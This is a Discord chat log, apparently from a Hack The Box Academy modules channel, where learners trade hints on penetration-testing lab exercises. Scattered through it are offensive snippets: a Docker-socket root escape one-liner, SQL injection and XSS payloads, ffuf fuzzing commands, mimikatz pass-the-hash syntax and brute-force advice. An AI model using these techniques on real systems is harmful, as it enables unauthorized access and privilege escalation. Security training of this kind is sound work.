#modules
1 messages · Page 174 of 1
you don’t evn have to use FUZZ with ffuf
its customizable
lol
maybe is time for a walk or a rest
Maybe its a problem that I use the pwnbox in my personal VM and not the web pwnbox (DDOS protection for certain IP ranges?).
FFUF quickly found the first few sub domains, but then really slowed down, and errors started to appear.
yea i need to go touch grass, been looking at screens all day
plus it looks like this needs a ton of time to run through anyway
Ok thanks, good to know!
@lusty thicket Can you maybe confirm that the command I used should work, or did you use another one?
Thanks for your help! I might have to try it out later with the web pwnbox...
I managed to find the relevant subdomain. For anyone that might be facing similar issues: try limiting the number of threads in use (I used only 1) and also limit the rate (I used 5 requests per second). Then wait for a few long minutes and you should find the subdomain.
Is there a place to report bugs? I got the flag for the repeating requests section but it keeps saying incorrect, I also saw on the forums that other people my have had a similar problem so JW
module? make sure there's no extra space and refresh the page
@Xre0uS its the "Using Web Proxys" module. the more I look through the forum tho there might actually be two different "flag.txt" files so ill keep looking and try refreshing as well. Ill let you know either way
@next bronze Ya no bug, it was like a red herring flag lol Thanks for responding either way!
H M and L stand for high medium and low, right?
yep
I for iron
T is for 'This is the modules channel lets keep it on topic'
on "Pivoting, Tunneling, and Port Forwarding" the part "Web Server Pivoting with Rpivot" im stuck on the last question "Using the concepts taught in this section, connect to the web server on the internal network. Submit the flag presented on the home page as the answer." i have done it but still cant see the web page i even scanned with nmap and its not open etc... any help?
can't run website
How should I write an email to the official or after-sales service? I need to solve some problems.
Try harder? You're using proxychains yeah?
Need to speak to a person? Learn how to reach our support via HTB Labs.
yeah
Hello, I'm having trouble finding the answer to this question, I'm hours away, I did exactly what was asked in the question, I've already redid it about 6 times, I even restarted the computer, but nothing shows me the name they ask for in the generated json file
this is the question
From Module: SOC Analyst
Section : Windows Event Logs & Finding Evil
part : Tapping Into ETW
Replicate executing Seatbelt and SilkETW as described in this section and provide the ManagedInteropMethodName that starts with "G" and ends with "ion" as your answer. "c:\Tools\SilkETW_SilkService_v8\v8" and "C:\Tools\GhostPack Compiled Binaries" on the spawned target contain everything you need.
I managed to generate the file, where there are some names with this ManagedInteropMethodName tag, but none that start with G, as needed in the answer, I did exactly as shown in the step by step, but nothing gives me the code, I don't know what else to do
Might help if you mention which module and section you're in...
thanks, i edit it
Did you run silketw as admin and made sure to keep it running while you execute seatbelt?
Hi
I'm having a port 22 connection timed out problem on the ssh to one of the boxes in htb...any suggestions would help
I have redownloaded the htb vpn file and also restarted the box a few times
is it a box or a module?
read #welcome
its a module
Stack-Based Buffer Overflows on Linux x86
Academy
section?
identification of bad characters
the target should be the same across the sections, were you able to ssh into it for the previous sections?
Anyone know why I would get username and password incorrect when trying to RDP into a machine for a lab?
@fierce veldt try putting single quotes around your username and password
I've done that and attempted to use xfreerdp and rdesktop... Verified spelling multiple times too 😢
most certainly just entering it wrong
what module and section is it and screenshot of your attempt to put it in
It's the Active Directory Enumeration & Attacks - Domain Trusts Primer
I can't send screenshots but the command I use is this
rdesktop 10.129.188.199 -u 'htb-student' -p 'Academy_student_AD!'
I'm not getting an ssh timeout but I'm finding the brute forcing really slow. Re: https://academy.hackthebox.com/module/57/section/516
48.00 tries/min, 720 tries in 00:15h, 44880 to do in 15:36h
Following the directions for brute-forcing gave me 15 usernames and 3K passwords to try, so the box will easily run out of time before this is finished.
Is this expected or is this simply how long these things take?
Yes brute forcing took me a very long time. Might be able to shrink the password list and run concurrent brute forcing sessions.
Thank you. I have -t 4 which was advised as the highest concurrent threads SSH can handle without dropping them
you need to verify your account with the instructions in #welcome to post screenshots
reset the target, wait for 5 mins after it spawns, try again
That's helpful, thank you.
@thorn urchin and @next bronze I tried that as well. Even tried using the pwnbox lol
yea I was
idk y i cant rn
Switching it off and on again hasn't really helped, so I've just chosen the first username and it will just take as long as it takes
hm weird, did you reset the target?
lol same command suddenly works. Cool, sorry for the trouble!
some of the AD labs take a while to spin up
it take a while yeah, especially that section with multiple domains
Also I think rdesktop wasn't working because it was defaulting to the wrong domain.
yeah ive tried resetting the target as well :/
try with a target in another module, restart your vm, if all else fails, contact support
ok ill try thank u
You should not need to bruteforce ssh directly, the hint is to see if there is another service running that can be bruteforced faster and has someone reuse their pw with the ssh service
Well the question does say to do that
Finally, try to brute force the SSH server shown above to get the flag.
As you now have the name of an employee from the previous skills assessment question, try to gather basic information about them, and generate a custom password wordlist that meets the password policy. Also use 'usernameGenerator' to generate potential usernames for the employee. Finally, try to brute force the SSH server shown above to get the flag.
That's what II'm on. I've got the wordlist and the password list
What is the hint I'm missing? I'm keen for this to not take so long 🙂
would I simply bruteforce the login page? That was the previous exercise
There should be a ftp server running on the same host that is faster to bruteforce
If that’s the section I’m thinking of
I guess if the question wants me to bruteforce something else it should be worded something else other than "bruteforce the SSH server" 😅
Have others had this issue?
(I appreciate the help 🙇 )
It’s a common point of criticism with this module
ah
Some say it teaches you to think outside the box
But the password attacks module has some not-so-userfriendly questions
They come along now and again. I've been searching discord for this wording specifically to see if anyone has had issues. But "slow ssh" was a bit broad haha
I have popped some errata in #858470491676737536
Ssh is notorious for being hard to bruteforce, so you can see this is a lesson of „only try a small wordlist or try something else“
nmap shows 22 and 25 open, not 21 🤔
for sure, I see that 😅
I don't think the skills assessment has a ftp to brute but can't remember
the estimated time is only if it went through all combinations, if it finds a match it won't take nearly as long
There was one where you bruteforced a login page and then pivoted to an FTP server, but that was via localhost.
(I did that one previously)
Thank you so much again @tranquil axle and @next bronze 🙇
So now I've got in 👍 and yes, there was an internal FTP port that I'm now doing another bruteforce on. Much faster (helps to be localhost haha)
take note of which user should be mounting and copying shell
has anyone had any issues with a vm not playing well with the sqli docker instances? It's really strange as I can't seem to get a proper response from them. I have re-downloaded my vpn pack, checked my network settings and it just hangs. But vm instances e.g. windows modules have no issues. It's so strange. Also have no issues using pwnbox at all. This could be an entirely me issue but just curious if anyone else has had anything like this?
Hello, can anyonz help.me withe question submit the password of the sqlftp user from the ntlmrelay module.
I got a password for another user but I dont how to solve thos
section?
The skill assesmznt section
which question
I believe its question number 3
I was able before to get access to backup01 but I'm stuck afterwards
check what you can access with those creds
@next bronze I tried them with crackmapexec and smb and the --shares option but I didn't see anything worth noticing
no readable shares?
I noticed some readable shares on backup01 and sql03 but with other credentials
@next bronze I found BackupShares on Backup01 and SQlShare on SQL03.
Are those the ones?but I don't know where to go from there
Also sqlftp user is not a domain user afaik
check what shares you can access with the credentails you have, one of them should be pretty obvious
@next bronze I found BackupShares and SQlShare on SQL03
I dont know if those are the one you're talking about?
check what's in those
@next bronze I did but I haven't found something noticeable.
On SQL03, I wasn't able to download the zip file.
why not
@next bronze I used smbmap but evrytime I try to download it I get a corrupted file
hi guys im on ffuf module and i sent out the ffuf -w -u etc tc and it finished fuzzing and its finished but theres no results apart from :: Progress: [81643/81643] :: Job [1/1] :: 197 req/sec :: Duration: [0:05:25] :: Errors: 0 ::
theres no results saying found bla bl
@autumn pilot I tried with smbclient and smbclient.py and I get access denied for the same creds
All I can say is that you have everything that you need to go through that question
@autumn pilot ok, I will retry later, maybe I missed something on the command line or something.
I suck
I was wondering, the target system is pretty slow, I connect to is pretty slow.
Is that the case for youbas well
can anyone help
the section would be helpful
Hello, i am doing the docker part of Linux privilege escalation and i'm trying to run docker but i have this error : ocker: Cannot connect to the Docker daemon at unix://var/run/docker.sock. Is the docker daemon running?
When i try to run docker with systemctl start docker i can't because i need the credentials of user lab_adm. So my question is : do i have to do lateral movment to this user ?
no you don’t
docker start ‘container name’
is the right command
you dont need to do anything
you log in via ssh and you can interact with docker directly
Ok thank you, but i dont get it. I use the command provided in the course because the docker.sock is writable but i have this error again
even if the socker is running
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash this command works for the PE
weird but can happen, try several times is the lesson from this i think
Yeah thank you !
Anyone have any wordlist suggestions for
Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
I need to crack a TGS and have tried a couple wordlists with no results 🥲
for htb and do the sub domain fuzzing for .inlanefreight.com
i receive hundreds of replies
is that normal?
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -ic -u https://FUZZ.inlanefreight.com
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -ic -u https://FUZZ.inlanefreight.com
If i'm not wrong, you should be able to crack it with rockyou.txt or if the module provided you a wordlist. If it's not cracking either there is something is wrong with your offline cracking tool configuration or that's not the way to go.
It's normal to get a lot of replies, you need to make use of the filters and matchers option in ffuf to get exactly what you're looking for. Look into those options -fx -mx
x will vary btw.
Trying john now, tried rockyou first thing on hashcat with no results.
you should eliminate any unnecessary replies by using filters, like -fs 7503 for filtering reply size 7503, etc...
I'm not saying it's the wrong tool, john will do the same as hashcat.
check ffuf -h for more info
Maybe the TGS isn't meant to be cracked and you'd have to find some other way. I'll let someone else that remembers this section give you the exact hint. But in the meanwhile, you might want to check at other ways to go if you're not able to crack the TGS hash.
oh i c dank
LOL I missed one character when exporting my hash via copy and paste...
Knew cracking it wasn't supposed to be the challenging part.
with TGSs not much to do apart from cracking ig
well yea apart from importing it to your kerberos session *
hashcat would have been complaining about it if that was the case. Weird it let you run the wordlists
John complained about it which is what let me know I messed up. Pretty weird that hashcat didn’t catch it though I agree…
idk what to filter i filtered 403 and theres stil la ton of answers
nope it's not filtering by response codes, filter by response size, check the section
it dont say anything
o wait nvm
portal is 0 bytes right
im not sure how else
it dont say
i got the answer and looke for response for 0 bytes but idk why it 0
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 402ms]
* FUZZ: blog part of the example
-f filters AGAINST the query, -m MATCHES the query btw
so -fs 0 filters out anything that is response size 0 (but you also have to consider 404 response size)
i dont understand the documenting and reporting lab xd
nono i got the ans
they ask you to crack a password from the ntds but that password you got it before if u sniff the network
How do I ssh into the Linux machine(https://academy.hackthebox.com/module/143/section/1489) from MS01 on the powershell prompt. The current approach I hav
ssh htb-student@172.16.5.225
e tried isn't working.
is there a reason why customer subdomain is 0 byte
there are multiple paths to get DA, I found 4 irrc
unless ur just meant to copy from the example
copy/paste is dumb sometimes
password isnt working
I tried manually typing the password too. I guess I will try once more
copy/paste into your attack host, then copy/paste it from there to the rdp session
that has worked for me
like i said
it can be dumb
htb-student is not an user of linux machine also you dont need that for that section
no, htb-student is a viable user
the section is the dcsync attack
this is a good module to practice pivot tools, i agree though
it's just nice to do it as the module intended
yea
Hey guy, Quick logic Q:
creating a fake SPN: "blabla/LEGIT" meaning that creating a fake service (blabla) is available to that specific objet (user) right?
so Y does it helps do to "Kerberoasting attack"?
I could tell you but it would be more beneficial for you to read the materials again, check how a user can request a ST and how SPN plays a part in this
can someone tell me why the vhost ffuf not working on that ffuf module? ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -ic -u http://94.237.56.188:40406 -H 'Host: FUZZ.94.237.56.188:40406'
do U remember what section it is ?
what is ST?
have you read the section/material?
what sectoin do u mean?
Host header needs an actual domain name
i c ok danke
aint no way man, read all the sections relevant to kerberos if you don't know what a st is
service ticket o.O
for the documenting and reporting its awful to do nmap scans wth, i tried locally with ligolo and remotely through the debian RDP
maybe i should add T4
or maybe i should use the prepopulated scans
U mean TGS?
yes its the same as ST just an alias
TGS is the service that provides STs
Client uses the TGT to ask the KDC for a ST (Service Ticket). That ticket is provided by the Ticket Granting Service (TGS).
over ligolo its still awful i will use the rdp for the scans
Well that was condescending
for parameter fuzzing GET that target ip is the exact ip for the parameter fuzzing?
thax @sly dome
I'm having this exact problem. No combination of the two I found (comma separated, no space, space, etc), or them by themselves seems to be accepted
I've used full URLs, partial, with port, without port etc etc
Do I need to fuzz the answer to figure out the format it wants? Is this part of it? Lol
how do i add subdomains to vhost on /etc/host for ffuf?
OK I've managed it, it was *.academy.htb format. That hint really needs to be in the question
it should be vhost.academy.htb
its /etc/hosts
danke
should remove this, spoilers
do you have notes for the 172.16.5.225? In the documenting lab I got ports open when i ran my nmap but now are closed.
is 172.16.5.225 not your own IP?
it's been a while but from my notes it seems that it's the attack box
hellooooo
soon™, and wrong channel for this
which one "channel"
#1080884182336675872 , read #welcome if you can't access it
This mimikatz command should work ...given that I am in that directory where the tool is.(pertaining to second question of this module
https://academy.hackthebox.com/module/143/section/1489
is that mimikatz an exe?
cant find the command injection xD
this lab is driving me mad
i think im just going for the attacking enterprise one
Yes
anybody has found the command injection in "Documentation and Reporting"?
no, it is a folder
There is no mimikatz.exe in your folder
yes don't overthink it, it's super simple
there's another folder named mimikatz, might be in there.
just cd mimikatz; ls
is it in the nix machine? i cant leverage the LFI to RCE
mimikatz is the foldeer
yep
yeah .127 right? try just ;<command>
yea sometimes its so obvious i fkn miss it
i was like "why is cat in a website"
who the hell use cat to show web contents HHAHA
thx
yep lol, I also overdid it but it's really just that
its so unrealistic
but yea, lets continue
i dont feel like doing a report for this lab, what do you think?
i feel like investing the time in the black box approach for the Attacking Enterprise is better
I think it's up to you, if you feel like your reporting skills are up to scratch then sure
yeah that can be a better option
i feel this lab a bit weird and "small"
ofc its just for a quick documentation and reporting module
i understand it!
yep enterprise networks will be a lot more realistic
i just have a personal workflow for my notetaking and all that
for example i dont use the "writehat" tool in it
lets go then
i will take 24-48h to finish it
after that maybe someone can do QA to my draft
sure but only if you send it to me on confluence 
im using SysReptor
joking, I can take a look at it if you want
Hi there, can anyone have some tips for the Skills Assessment, task 1 in INTRO TO ASSEMBLY LANGUAGE ? I found a shellcode by modifying the code
(the same like a lot of people here : 4831c....0f05) but it just give me an access with a red prompt with no flags when i load it to
the target. The code seems good, i think the problem is when i run gdb but i'm lost for the moment.
Thanks a lot
check this #modules message
Thanks, i've already check that, i don't know if the shellcode must be loaded as it is or not. I've tried to inverse the bit but same results. I think i must re-read the entire module to be more comfortable with GDB😫
no need to inverse, run it as it is, your output looks right from the few digits you sent
dm me what you got if you can't figure it out
Ok, i will retry and if i'm stuck i will dm you 🙂 thanks a lot
Hello, module ATTACKING ENTERPRISE NETWORKS and section is Lateral Movement, i have a administrator group but how can i read the flag.txt file on the desktop. I cant dump any hashes about Administrator account, but i am in that group HELP pls !! (Also i cracked the kdbx file but password is incorrect so i cant rdp :/ ) PLS DM ME!
@knotty chasm just hit Ctrl U and you will see the code. The answer is right there
I hate to be a pain, but does anyone here offer coaching? I currently work as a bouncer and am looking to transition into CySec, Just finding it hard to find my feet. My Friend said HTB is a good starting place
Currently doing Intro to academy, and while I can make my way through the modules, I feel like I'm stumbling through rather than absorbing knowledge. Or is it designed to be that way and it'll become more clear as I progress?
Hi everyone. I was studying passthehash section of Password Attacks module and I am confused a bit. Can you explain me what is the difference between PassTheHash and OverPassTheHash in terms of mimikatz. In the sections, syntax for both methods is the same. Could you help me please?
you authenticate directly using the hash with pth, with overpass the hash, you use the hash to request a kerberos ticket, and further authentication will be done through kerberos
Theoretically, yes. But is it done automatically by mimikatz? How does mimikatz differentiate between PTH and OPTH if I use the same syntax?
stumbling is how you learn, take notes and you'll get better as it goes on. this channel is open for you to ask for help if you need it
mimikatz should have the /ptt option to inject the ticket in your current session
Fair point
hello! i got stucked at Active Directory Enumeration & Attacks Assessment part 1, i found the another domain user by chance and i need to find the users cleartext pw. Is there any guess what to do now?
question?
So sekurlsa::pth /ntlm: is not overpassthehash, am I right?
from what I know, no
Stuck on "Windows Privilege Escalation Skills Assessment - Part I". Cannot get a revshell. Tried uploading nc.exe and using the commands from www.revshells.com as well as all the PowerShell one liners from there. Any hints?
do you have any hint how should i get the cleartext pw?
Sounds like you may want to dump some secrets 😉
áh leeme try that 😄 thx
was asking for the question you're stuck on but yes that should work 
I don't remember this, I'll take a look if no one else helped in a bit
Much appreciated" been banging my head agaist the wall for a while now...
This industry is diverse and complex. Initially, it might overwhelm you like trying to drink from a fire hose, but the key is to take it step by step. Maintain your curiosity and persistence. Continuous learning is a part of this field, and it's impossible to know everything.
oh 😄 i misunderstod that
Solved it. Downloaded a new VPN using Academy 2 instead of 1 and TCP instead of UDP...
oh nice, might just be you got a new target, tcp is always more reliable though
Hi Guys, This is my first and newbie question .... from service scanning module I trying to reply the conclusion questions but I got stuck ti get the "bob" password for smbclient, the tip is the password is weak but I try so many without success, may I use hydra to brute force or is there an easier way ? If someone could put me on the way again... I would be very helpful.
I would assume if they say the password is weak they want you to either use some common default creds or use a tool to brutefoce the creds. I cant remember that far back and dont have notes on it.
hello
hi is there a general discussion chanel?
hello
hello call me
?
wats your name
So sorry, looking again, the password was in the module content
hello
thank you:)
Hey
In the module Shell & Payloads, the live engagement, in the second hint it reveals the username and password of the blog
It's possible to get it without the hint? If yes, how

Section: Linux Priv Esc
Module: Polkit
I transfed the compiled version of CVE-2021-4023 onto target machine with scp. but i get this.....
htb-student@ubuntu:~$ ./poc
./poc: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./poc)
Anyone having issues spawning target VMs today?
i didnt have any problem but today the latency is very high
so today i was doing appointment machine in starting point and it was based on sql injection. the solution was to use admin' # (so to make the rest of the line as a comment in php) but why didnt admin' OR 1=1 -- work?
anyone ._.
I asked earlier some help with the ntlmrelay skills assement.
It turns out the issue I was having was with smbmap only.
in that case if the box has gcc then you should compile the .c file inside the box and should work
in general you should try couple of payloads, and eventually one of them will work
this question should be asked in #starting-point
anyways its because -- needs a space afterwards to be recognised as a comment, so you'll need to do -- (note the space), or -- -
okay thank you i will try that
meaning you transfer .c file to ssh session , then compile it there
yea im dumb
Desktop
i swear i tried to compile on target machine... but i guess i didnt try it for this module
thank you
anyone having trouble getting targets to spawn?
the Active Directory LDAP module could really use a rework or extra content imo, the length is rather disappointing for a tier 4 module, other tier 3 or even tier 2 modules have more content to learn and arguably better made/organised. it's probably one of the few modules in academy that can be done way quicker than the estimated time. and from the phrasing of this module it's quite clear that its supposed to be done before the other AD modules, which is odd and I doubt many have done that. it's still a decent module but can't be compared to the newer ones, at its current state it shouldn't be a tier 4 module
I don't think it can be considered errors? 😅 just my thoughts on it

It’s for feedback as well
fair enough
hello
hi
has anyone completed protein cookies2 challenge
Hi is anyone able to give me a hand with the ad enumeration module privellege access, last part leverage sql admin rights to authenticate to host and read desktop flag
Is this sentence from the intro to metasploit module confusing anybody else or is it just me? "Shikata Ga Nai (SGN) is one of the most utilized Encoding schemes today because it is so hard to detect that payloads encoded through its mechanism are not universally undetectable anymore. Far from it."
Do I need to create a tunnel to connect through to the local pc?
just use the read file command nothing extra
Can I dm you?
no
Can I advertise my ethical hacking community here?
read #rules
Lol, doesn’t make sense to me tho how can I authenticate to a windows host that doesn’t have python use mssqlclient.py to then authenticate to an internal ip then read a file on that desktop
you can use the linux box that's on 172.16.5.225 :) (you have the creds for it); alternatively - yes you can use pivoting and mssqlclient.py on your system
Can I have some clarification on the "Packet Inception, Dissecting Network Traffic With Wireshark" module task
It states that you need to find the malicious actor in the live environment
however there does not appear to be any data relevant to that search in Wireshark-lab-2.zip
The answer to the first question can totally be found in that .zip
But the rest just leads to some confusing rabbithole
hello there & Happy New Year 2024, I don't wanna spoiler, anyone willing to chat about the Logrotate LPE exercise?
If anyone has done the noSQL injection skills assemnt 2 can you please dm me? || I have a script that allows me to exfil the username though time-based blind injection, but when i do this.password instead of this.username, it no longer works || thank you!
anyone happen to know a HTB box that has a lot of ports open?
still stuck?
You will need to import the module for powerview.ps1 before that command will work. It is in the tools directory of the machine you RDP'd into.
for future learners, you might not be looking for the password, try to exfil somthing else that will help you get in
Hi, any tips for “ (Intro to Assembly Language - Conditional Branching)” ? I managed to avoid the loop but I don't understand which HEX value is expected in the response.
Got this sorted, you do indeed need to connect to the VM via RDP to be able to answer the second question
I take it that there's some script running periodically for you to capture?
Yep, it's on a seemingly dead interface but every now and then like 150 packets spin up
I just did that one yesterday and you have to put a random password in as the front end webpage requires the password field to not be empty
When you turn your PC on after 5 years
why are they doing the -H Content type, isnt it sent automatically without need for it specifiying? @htb[/htb]$ ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
probably to prevent misinterpretation
htb academy first hands-on question has incorrect question/answer..
good start for something i just burned $677 cdn on lol
Can I get some insights about why the exploit in the "Public Exploits" module in the Pentester job path works? There was nothing in the NMAP scan for example that would imply that the web application uses that technology.
Hello, dear people. In the INTRO TO ASSEMBLY LANGUAGE module, I "run" after writing "breakpoint _start" in the gdb debugger tool. But I get <_start+0> values in the results. Example output :
→ 0x401000 <_start+0> movabs rax, 0x21796d6564616341
0x40100a <_start+0> xor rax, 0x21449
0x401010 <_start+0> xor rax, rax
I solved the question but I wonder why this happened. (I found it by guessing because the question asked to find the start + 16 value.)
I'm leaving things purposely vague because I don't want to spoil things for anyone. I'd be happy to go into specifics in DMs or here if its okay.
The webpage mostly implies it
CAN ANYONE HELP?
please refrain from using caps
@autumn pilot sorry I didn't pay attention
this can be corrected
you'll just have to specify more details or post in #858470491676737536
where the error is
ok sure
Stuck on the Splunk module, which account had most login attempts in 10 minutes. Tried making 10m timespan bins and sorting by count and account name, any help?
i am working on the web enumeration and exploitation section of attacking enterprise network...and i am trying to change the twenty twenty 404 template but i get this error...is this supposed to happen ?
"Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP."
Tbh I think that question is misleading, it wants to know which accounts have <10m between first and last successful login event and which of those has the most successful logins
Resolved.
NVM....figured out the issue
any tips for how to search for that? I'm struggle bussin
Hello, dear people. In the INTRO TO ASSEMBLY LANGUAGE module, I "run" after writing "breakpoint _start" in the gdb debugger tool. But I get <_start+0> values in the results. Example output :
→ 0x401000 <_start+0> movabs rax, 0x21796d6564616341
0x40100a <_start+0> xor rax, 0x21449
0x401010 <_start+0> xor rax, rax
Anyone else feel like complete idiots when doing some of these exercises, I spent 3 hours on one question and it deflated my ego completely
Ohhhh yeah, but I live for the "aha" moment that comes after lengthy periods of trying different things, and researching
changes 1 parameter in command ohhhhh I'm dumb
I was gonna say "I'm an idiot and forgot the semi-colon again", but thought maybe that was more applicable to the java class I just took
Or mysql

you still need help with this?
I finished the AD section and I am building my own tools folder now before I do the assesments at the end. I have never really had to compile my own stuff so I am a bit lost on that. Anyone have some good resources on this topic?
Just download them from the C:/tools folder
get a windows vm, install visual studio
this works until you need to use something that's not in there 
Skill issue then
Its best practice to compile for yourself right?
yes
Yes it is best practice though
if you're really lazy, there's this, but compiling yourself is recommended
https://github.com/Flangvik/SharpCollection
I dont understand what this question is asking. I am specifcally confused by "use ZAP Fuzzer to fuzz the cookie for different md5 hashed usernames to get the flag" I think i went to the right url as stated and see the set-cookie for IP:Port/skills but a bit lost here on why/how the fuzzer is the answer. like what is actually occurring with the fuzzer
That’s what I got😄 and https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
set the fuzz location to the /skills/ part?
to the cookie
ahh so i grabbed the wrong item here then
intercept a request to the skills directory
You need a cookie to hash
so now i would need to highlight that part and do a fuzz again on it
ahhh i think i see
now do i select the full value for cookie or just after "Cookie:"
full cookie value
read the hint
Careful with sharing your progress
?
Could be considered spoilers
sorry, i just need some more help than what is presented in the academy site
Just need to repeat those requests with each cookie
i did but im not getting what i need i dont think
all the items returned have same content length so something im doing is def off
you can try manually inspecting each response
Hello
even though content-length appears to be all the same ?
Please
strange
For the last time: go to police
<@&861185840277487616>
3
3 now yeah
ban incoming lol
Sorry bye
i swear that this is setup correctly for the fuzz attack to or else how would i be getting these responses
Go contact police
manually go through each response
what is the fuzz attack?
Google will help you
google is your friend
It’s specifically for insta
just leave, you arent here for any legal reason
fuck off
hi guys I am doing XSS module and when I execute <script>alert(window.origin)</script> on the page nothing shows up?
I heard zucc really like to be fuzzed
strange, each request has the different cookie with fuzzing as it should, but the response all has the same cookie
all?
yupp
We don't wanna listen to a voice memo
@lusty thicket @fathom pendant thank you i got it!!!!
I would rather shove my hand in a blender
ty
ughhhh lol that rush when you finaly get it right lol
np
I heavily dislike personal interaction with people I dont know
hmm
sorry x my absolutely ignorance about this, but how can I find the version of glibc for Shared Object Hijacking exercise under LPE module?
ldd --version
Does anyone know any good notes summary/cheatsheet for CPTS?
I was looking for something like that online to compare to my notes and make sure nothing was missing but couldn't find anything
I don't think there are cpts specific cheatsheets around, but there are a lot of pentesting related ones. it's better to build on what you have
I am. I just find it difficult to structure them in categories that would make sense to easily find what I'm looking for later, so I wanted to see how it's normally done.
I end up getting lost with all my notes when it shold be helpful. I watched a bunch of different videos on using Obsidian etc. and it just doesn't seem to click.
Can I chat with somebody about the (first) skills assesment in the Active Directory Enumeration Module (143)? I set up a pivot from the first machine, back to my attack host (VM with vpn). From that first machine I've got credentials for a user, and can winrm into a new machine, using a both ligolo-ng or chisel as a pivot. However, nothing I try to do to copy binaries from my attack box to the new machine works.. it doesn't seem to be connecting out through either pivot
structure them according to your methodology, I found that the checklists on hacktricks are decent, you can base it on that
I build my obsidian notes kinda like wikipedia, with crosslinks to other relevant sections or more detailed notes for quick acesss. and I use a plugin called quickswitcher++ which lets me search through all headings in my vault, and I can adjust the weightage of different type of headings, so I pretty much have my own search engine in the vault that lets me find any info I want within seconds, kinda necessary cause it has close to a million words total. but that's just personal preference, find a way that works for you
[[SectionName #header |relevance]]
Mind if I DM you? Sounds like I could benefit from your input.
you need to open a port for the internal machines to reach your attack box, if you're using evil-winrm you can use it to upload stuff directly
yeah that's one way to do it
i'll keep the quickswitcher plugin in the back of my mind when i go to revise my notes though
it's really good, basically google for my own notes
i need to go back and condense; ad is really slowing me down tbh just because a lot is overwhelming me
like I absorb the knowledge but it make brain hurt
ungabunga run exploit
check out the ad pentest mindmap if you don't know about it
https://github.com/esidate/pentesting-active-directory
eh it's not really needing a mindmap for it
it's just literally how i absorb information
depending on the type/difficulty it exhausts me quickly
i am an info-sponge
ah I see, I guess the best thing is just do it a lot, it will get a lot more comfortable as it goes on
bc i get the concept and the commands. Just a PITA to absorb LMAO
yep there sure is a lot of shit
but that's also why it slows me down; because I want to know what the command is actually doing
i.e. searching for what rights this user/group sid has over another object
for the commands that aren't obvious what they're doing, I usually add comments to explain in my code blocks
yeah
Oh yeah, forgot about the direct upload.. all good now thanks!
speaking of alternate tools, i wanna give pwncat a try eventually for revshells
apparently it has an enum script that works in much the same way linpeas does
saw John Hammond use it for Shakabrah Offsec Box
oh cool, thought it's just a listener
it's apparently got some neat features idk if it's in a repo for parrot or kali
aparrentlly you can just pipx install it
neat
bad idea to skip the linux fundementals module?
its pissing me off
its a 6 hour module and ive been on it for like 2 weeks
what are you struggling with
having issues with the metasploit module myself
the first question is a small ctf on using the eternalromance
the os should be windows 7 but nmap is returning differently
while it is basics. it helps to form a baseline of what you can understand
i wonder if this is an issue with the box
it doesn't have to be windows 7;
it's based off smbv1
The SSRF part of the server side module is one of the most dense, confusing things I've seen in the course
the exploit fails every time
are you sure you're setting up the RHOST/LHOST correctly :)
im using the target ip as RHOST
and im using the ip from ifconfig as LHOST
whis is the vpn addr @ 10.10.yadyada
exploit fails or no session created? there's a difference
no session
wrong lhost ip
think about what's the ip of the the target
pro tip: assume you're making a mistake first, it's usually not the machines 😄
truly!
i dont know if im using the openvpn correctly tbh
at first it was all errors and now i can ping the box so i assume its working correct
ill fiddle with the lhost
if you can run exploit against the target, your vpn is fine
thats good to hear
im usually into reverse engineering and gamehacking so this cyber element is new to me
don't they have you ssh to a system first on this one? or am i misremembering this section
no
the first one is using metasploit to do the ctf
reverse shell
using eternalromance exploit
what's the rhost?
btw with msfconsole you can just do set lhost tun0 to have it grab it
instead of fully typing it out
i see
set lhost <interface>
i swear you could set it, maybe not or a change happened but i've been able to successfully set it by just specifying interface
execution expired got nothing to do with setting the lhost tho, that's an error when running the exploit
weird, im using the default cfg
just changed rhosts and lhost
ill reset the target
¯_(ツ)_/¯
you're using the psexec eternalromance yeah?
(the command one just does RCE, not a shell)
you are getting an error which is from the latest metasploit version
what does the error mean?
is this?
whats a non standard directory?
wdym? context?
a non-standard directory is a directory that's not there by default
i.e. a standard linux directory for users is /home/user/
what does ||[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp|| mean?
nothing
i see
can you tell us the exact error 😂
Holaa soy nueva en el servidor!!
it gets removed
is the “no module named sysinfo”?
[*] target - Target OS: Windows Server 2016 Standard 14393
[-] target - Timeout::Error
[-] target - execution expired
[-] target - /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/timeout-0.4.1/lib/timeout.rb:43:in `rescue in handle_timeout'
/us
there is alot more text after
is your target even alive? ping it
I have a question regarding the module:
Getting Started : Public Exploits
In this module you need to exploit a vulnerable plugin, namely:
Simple Backup Plugin 2.7.10 for WordPress
The only reason I was able to exploit it, is because the webpage basically tells you in plain-text about it in the form of a blog post. However I don't feel this reflects a real-world webapp, they don't announce their plugins and versions. I can't figure out a command that lets me find this plugin on the webpage.
I've just reset the target webapp here:
94.237.62.195:47057
What tool/command finds the actual plugin without just reading the title of the banner?
i dont know if this has to do with using wsl + kex as opposed to a traditional vm
i can pop a kali vm onto kvm/qemu
it happens more often than you think
i completed the module with debian wsl + exegol
also i recommend trying the other eternal romance which is just RCE
and change the COMMAND option to whoami /priv
I'm willing to accept that sometimes websites may do that. But there must be a way to find the plugin without relying on a user error like that right?
there's some modules that go over enum tools
there's a hacking wordpress module : but for the purposes of demonstration that's why it was so simple
they wanted the focus to be putting you in the mindset
=\
seems i will get the same error no matter the exploit used
yeah, i use setg instead of set before
i don't mess with WSL just because I like having an easily configurable virtual environment ¯_(ツ)_/¯
also copy/paste go brr :D
??
not a fan of dragonised garuda
wdym installing win10?
are you using a vm in a vm type deal or somethin?
saw you mention kvm/qemu
